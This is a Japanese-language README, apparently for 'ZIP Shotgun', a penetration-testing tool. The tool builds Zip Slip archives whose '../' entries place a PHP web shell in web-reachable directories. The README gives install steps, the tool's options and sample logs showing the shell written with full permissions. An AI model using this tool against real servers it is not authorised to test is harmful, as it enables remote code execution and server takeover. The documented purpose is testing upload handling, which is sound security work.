ZIP Shotgun

ZIPファイルアップロード機能（およびZIPファイルの展開）の脆弱性（別名Zip Slip）をテストするためのユーティリティスクリプト。このスクリプトのアイデアは、Silent Signal Techblog - Compressed File Upload And Command Execution の記事と OWASP - Test Upload of Malicious Files を基にしています。

Snyk.io には、この仕組みに関するレポートがあります: Zip Slip 脆弱性と、さまざまな言語の脆弱なライブラリを含むGitHubリポジトリ: Snyk.io Zip Slip github repo

また、LiveOverflow による Zip Slip および Zipperdown 脆弱性について解説した動画もあります: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

このスクリプトは、ファイル名に "../" を含むアーカイブを作成します。展開時に、ファイルが上位ディレクトリに展開される可能性があります。攻撃者は、Webブラウザからアクセス可能なディレクトリにシェルを展開できるようになります。

デフォルトのWebシェルはwwwolfのPHP Webシェルであり、そのすべてのクレジットはWhiteWinterWolfに帰属します。ソースはこちらから入手できます。

インストール

Python pipを使用してインストール（Python 3が必要）

pip3 install zip-shotgun --upgrade
Gitリポジトリをクローンしてインストール

git clone https://github.com/jpiechowka/zip-shotgun.git

クローンしたリポジトリのルートディレクトリ（setup.pyファイルがある場所）から実行

pip3 install . --upgrade

使用法とオプション

Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

Options:
  --version                      バージョンを表示して終了します。
  -c, --directories-count INTEGER
                                  zipファイル内で戻るディレクトリの数（例：3を指定すると、shell.php、../shell.php、../../shell.phpの3ファイルがzipに追加されます。shell.phpは指定されたシェル名またはランダム生成された値です）[デフォルト: 16]
  -n, --shell-name TEXT           生成されたzipファイル内のシェルの名前（例：shell）。指定しない場合はランダム生成されます。空白を含むことはできません。
  -f, --shell-file-path PATH     シェルのコードを含むファイル。このオプションを指定しない場合、wwwolf (https://github.com/WhiteWinterWolf/wwwolf-php-webshell) のPHPシェルが代わりに追加されます。名前が指定された場合は、その名前でzipに追加されます。指定されない場合は名前がランダムに生成されます。
  --compress                      圧縮を有効にします。このフラグを設定すると、DEFLATEアルゴリズムで圧縮レベル9のアーカイブが作成されます。デフォルトでは圧縮は適用されません。
  -h, --help                      このメッセージを表示して終了します。

例

すべてデフォルトオプションを使用

zip-shotgun archive.zip

スクリプト出力の一部

12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
...
12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL

12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf 12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: ../../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Finished. Try to access shell using gqXRAJu1LD8d8VKf.php in the URL

zip-shotgun

人気

ZIP Shotgun

インストール

使用法とオプション

例